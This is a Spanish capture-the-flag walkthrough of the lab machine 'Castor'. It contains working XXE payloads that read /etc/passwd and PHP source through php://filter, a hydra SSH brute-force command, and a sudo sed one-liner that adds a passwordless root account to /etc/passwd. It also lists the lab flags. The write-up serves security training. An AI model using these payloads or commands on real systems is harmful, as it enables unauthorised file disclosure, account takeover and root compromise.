TheHackerLabs Easy 🐧 Linux 192.168.56.103

Castor

XXE Injection en endpoint PHP para lectura de ficheros, brute force SSH y escalada de privilegios mediante sed SUID.

player@htb:~$ pwned 20 de marzo de 2026

Write-Up — Castor

Índice

  1. Reconocimiento
  2. Enumeración web
  3. Explotación — XXE Injection
  4. Foothold — SSH
  5. Escalada de privilegios — sed SUID
  6. Flags
  7. Lecciones aprendidas

Reconocimiento

Comenzamos con un escaneo completo de puertos:

nmap -sV -sC -T4 -p- --open -oN nmap_full.txt 192.168.56.103

Resultado:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: CastorTech | Madera Sostenible

Solo dos puertos. El vector principal será el servidor web en el puerto 80.


Enumeración web

Visitamos la web — una página estática de una empresa ficticia de madera. Fuzzeamos directorios:

gobuster dir -u http://192.168.56.103 \
  -w /usr/share/wordlists/dirb/common.txt \
  -x php,html,txt -t 40

Hallazgos relevantes:

/upload.php   (Status: 200)
/uploads/     (Status: 301)

Al visitar upload.php con GET obtenemos: xml not provided. La aplicación espera XML vía POST.


Explotación — XXE Injection

Confirmación de XXE

Enviamos un XML básico para confirmar que el servidor lo procesa:

curl -s -X POST http://192.168.56.103/upload.php \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root><test>hola</test></root>'

El servidor devuelve el XML tal cual — lo parsea y refleja. Probamos XXE clásico:

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><test>&xxe;</test></root>

¡XXE confirmado! El servidor devuelve el contenido de /etc/passwd, revelando el usuario castorcin con shell /bin/bash.

Extracción del código fuente

Ficheros HTML y PHP contienen caracteres que rompen el parser XML (<, >, &). Para leer código PHP usamos el wrapper php://filter con codificación base64:

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/upload.php">]>
<root><test>&xxe;</test></root>

Decodificamos el base64 y obtenemos el fuente de upload.php:

<?php
$dom = new DOMDocument();
$loaded = $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);

Clave: Los flags LIBXML_NOENT y LIBXML_DTDLOAD son exactamente lo que hace vulnerable la aplicación a XXE.


Foothold — SSH

Sin credenciales en ficheros de configuración ni acceso a /etc/shadow, optamos por brute force SSH:

gunzip -c /usr/share/wordlists/rockyou.txt.gz | head -5000 > /tmp/rockyou5k.txt

hydra -l castorcin -P /tmp/rockyou5k.txt ssh://192.168.56.103 -t 4

Resultado en el intento número 27:

[22][ssh] host: 192.168.56.103   login: castorcin   password: chocolate
ssh castorcin@192.168.56.103
castorcin@TheHackersLabs-Castor:~$ cat user.txt
THL{JDBNASJNAdnnasdkasdaCastorcito}

Escalada de privilegios

sudo -l
User castorcin may run the following commands on TheHackersLabs-Castor:
    (ALL : ALL) NOPASSWD: /usr/bin/sed

castorcin puede ejecutar sed como root sin contraseña. Según GTFOBins, sed permite escritura arbitraria de ficheros.

sudo sed -i '$a hacker::0:0:root:/root:/bin/bash' /etc/passwd
su hacker
root@TheHackersLabs-Castor:/home/castorcin# cat /root/root.txt
THL{asdmaskdmasdkCASTOR}

Flags

FlagValor
UserTHL{JDBNASJNAdnnasdkasdaCastorcito}
RootTHL{asdmaskdmasdkCASTOR}

Lecciones aprendidas

XXE — php://filter

Cuando DOMDocument::loadXML() se usa con LIBXML_NOENT, el XXE es explotable. Para leer ficheros PHP, el wrapper php://filter/convert.base64-encode permite extraer el contenido en base64 — pero solo funciona en la entidad principal, no en DTDs externos.

GTFOBins — sed

sed con permisos sudo permite leer y escribir ficheros del sistema. Siempre consultar GTFOBins al encontrar binarios con sudo -l.

Metodología

  1. Recon → solo 2 puertos, foco en web
  2. Fuzzing → endpoint XML
  3. XXE → lectura de ficheros + usuario
  4. Brute force SSH → contraseña débil
  5. sudo -l → privesc inmediata con sed